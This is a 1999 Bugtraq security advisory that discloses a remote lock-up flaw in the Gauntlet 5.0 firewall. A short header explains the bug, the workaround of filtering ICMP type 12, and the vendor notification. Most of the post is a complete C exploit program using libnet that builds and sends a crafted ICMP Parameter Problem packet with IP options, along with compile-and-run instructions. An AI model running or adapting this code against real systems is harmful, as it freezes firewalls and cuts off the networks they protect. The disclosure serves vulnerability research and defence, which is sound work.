Remotely Lock Up Gauntlet 5.0
Date: Fri, 30 Jul 1999 11:03:07 -0500
From: Mike Frantzen <frantzen@expert.cc.purdue.edu>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Remotely Lock Up Gauntlet 5.0
/*
* Discovered and written by: <godot@msg.net> <- Send money to :-)
* aka Mike Frantzen <frantzen@expert.cc.purdue.edu> <- Reply to
*
* Network Associates: "Who's watching your network?"
* MSG.net "Who's watching the watchers?"
*
* This can be found online at http://www.msg.net/firewalls/tis/bland.c
*
* Description:
* If you know an IP that will be routed through a Gauntlet 5.0 Firewall,
* you can remotely lock up the firewall (tested against Solaris 2.6 and
* BSDI). It locks up to the point that one packet will disable STOP-A
* (L1-A) on Sparcs and ~3-5 packets will disable Ctrl-Alt-Del on BSDI
* (Ctrl-Alt-Del still prompts Y/N but it never reboots).
*
* **You can NOT send this to the Gauntlet's IP. The packet must be one
* **that would go through the forwarding code.
*
* If you are on local ether to the firewall, set it as your default route
* or otherwise send the packet to the firewall's MAC.
*
* The packet is parsed before the packet filtering rules in Gauntlet. So
* the only known work-around is to ACL out ICMP type 12 at your screening
* router.
* Or you could switch to Gauntlet 5.5 which (in the beta) does not seem to
* be vulnerable -- but 5.5 introduces some new 'issues'.
*
*
* Technical Description of the packet:
* The packet is an ICMP Paramater Problem packet that encapsulates an IP
* packet with IP Options. There is a random protocol in the encapsulated
* IP packet. The trick is: the inner packet MUST have IP Options. Some
* options work, some don't.
* The firewall apparently is looking for the packet (or an entry in its
* transparency table) that matches the encapsulated packet. It just keeps
* looking.... It likely has interrupts masked off on Solaris.
*
*
* You need libnet to link this against. It's a pretty spiffy lib.
* http://www.infonexus.com/~daemon9/Projects/Libnet
* http://www.packetfactory.net/libnet
*
*
* For da script kiddies:
* Compile with 'gcc -o bland bland.c -lnet'
* ./bland -d <ip through the firewall>
* (Did you remember to install Libnet???)
*
*
* If it doesn't compile on your machine: I DON'T CARE!!! This program was
* a quick and dirty hack. You try reading a hexdump of a packet off the
* wire and writing something that can reproduce it.
* I know it compiles and works from FreeBSD 3.1
*
*
* Network Associates (TIS) was notified two weeks ago and they are working
* on a patch.
*
*
* Plugs:
* ISIC -- Program I used (and wrote) to find bugs in Gauntlet's IP stack.
* http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz
* Libnet -- Was able to write the basic exploit in 20 minutes because of
* libnet. See libnet link above. Thanks go out to Route!
*
*
* Credits:
* Mike Frantzen <frantzen@expert.cc.purdue.edu> Hey, thats me!
* Mike Scher <strange@cultural.com>
* Kevin Kadow <kadokev@msg.net> <- Gauntlet Random Seed Hole
* Lenard Lynch <llynch@tribune.com>
* Viki Navratilova <vn@msg.net>
*/
#include <libnet.h>
int main(int argc, char **argv)
{
u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0;
u_long *problem = NULL;
u_char *packet = NULL;
int sock, c, len = 0;
long acx, count = 1;
struct icmp *icmp;
struct ip *ip;
/* It appears that most IP options of length >0 will work
* Works with 128, 64, 32, 16... And the normal ones 137...
* Does not work with 0, 1 */
u_char data[] = {137};
int data_len = sizeof(data);
printf("Written by Mike Frantzen... <godot@msg.net>\n");
printf("For test purposes only... yada yada yada...\n");
src_ip = inet_addr("10.10.10.10");
while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) {
switch(c) {
case 'd': dst_ip = libnet_name_resolve(optarg, 1);
break;
case 's': src_ip = libnet_name_resolve(optarg, 1);
break;
case 'D': ins_dst_ip = name_resolve(optarg, 1);
break;
case 'S': ins_src_ip = name_resolve(optarg, 1);
break;
case 'l': data_len = atoi(optarg);
break;
case 'c': if ( (count = atol(optarg)) < 1)
count = 1;
break;
default: printf("Don't understand option.\n");
exit(-1);
}
}
if ( dst_ip == 0 ) {
printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n",
rindex(argv[0], '/') == NULL ? argv[0]
: rindex(argv[0], '/') + 1);
printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n");
printf("\t\t[-l <data length>]\t[-c <# to send>]\n");
exit(-1);
}
if ( ins_dst_ip == 0 )
ins_dst_ip = src_ip;
if ( ins_src_ip == 0 )
ins_src_ip = dst_ip;
if ( (packet = malloc(1500)) == NULL ) {
perror("malloc: ");
exit(-1);
}
if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) {
perror("socket: ");
exit(-1);
}
/* 8 is the length of the ICMP header with the problem field */
len = 8 + IP_H + data_len;
bzero(packet + IP_H, len);
libnet_build_ip(len, /* Size of the payload */
0xc2, /* IP tos */
30241, /* IP ID */
0, /* Frag Offset & Flags */
64, /* TTL */
IPPROTO_ICMP, /* Transport protocol */
src_ip, /* Source IP */
dst_ip, /* Destination IP */
NULL, /* Pointer to payload */
0,
packet); /* Packet memory */
/* ICMP Header for Parameter Problem
* --------------+---------------+---------------+---------------
*| Type (12) | Code (0) | Checksum |
* --------------+---------------+---------------+---------------
*| Pointer | unused |
* --------------+---------------+---------------+---------------
* Internet Header + 64 bits of original datagram data....
*/
icmp = (struct icmp *) (packet + IP_H);
problem = (u_long *) (packet + IP_H + 4); /* 4 = ICMP header */
icmp->icmp_type = ICMP_PARAMPROB;
icmp->icmp_code = 0; /* Indicates a problem pointer */
*problem = htonl(0x14000000); /* Problem is 20 bytes into it */
/* Need to embed an IP packet within the ICMP */
ip = (struct ip *) (packet + IP_H + 8); /* 8 = icmp header */
ip->ip_v = 0x4; /* IPV4 */
ip->ip_hl = 0xf; /* Some IP Options */
ip->ip_tos = 0xa3; /* Whatever */
ip->ip_len = htons(data_len); /* Length of packet */
ip->ip_id = 30241; /* Whatever */
ip->ip_off = 0; /* No frag's */
ip->ip_ttl = 32; /* Whatever */
ip->ip_p = 98; /* Random protocol */
ip->ip_sum = 0; /* Will calc later */
ip->ip_src.s_addr = ins_src_ip;
ip->ip_dst.s_addr = ins_dst_ip;
/* Move our data block into the packet */
bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len);
/* I hate checksuming. Spent a day trying to get it to work in
* perl... That sucked... Tequilla would have helped immensly.
*/
libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len);
/* Bah... See above comment.... */
libnet_do_checksum(packet, IPPROTO_ICMP, len);
printf("Sending %li packets", count);
for (acx = 0; acx < count; acx++) {
if( libnet_write_ip(sock, packet, len + IP_H) < (len + IP_H))
perror("write_ip: ");
else printf(".");
}
printf("\n\n");
return( 0 );
}
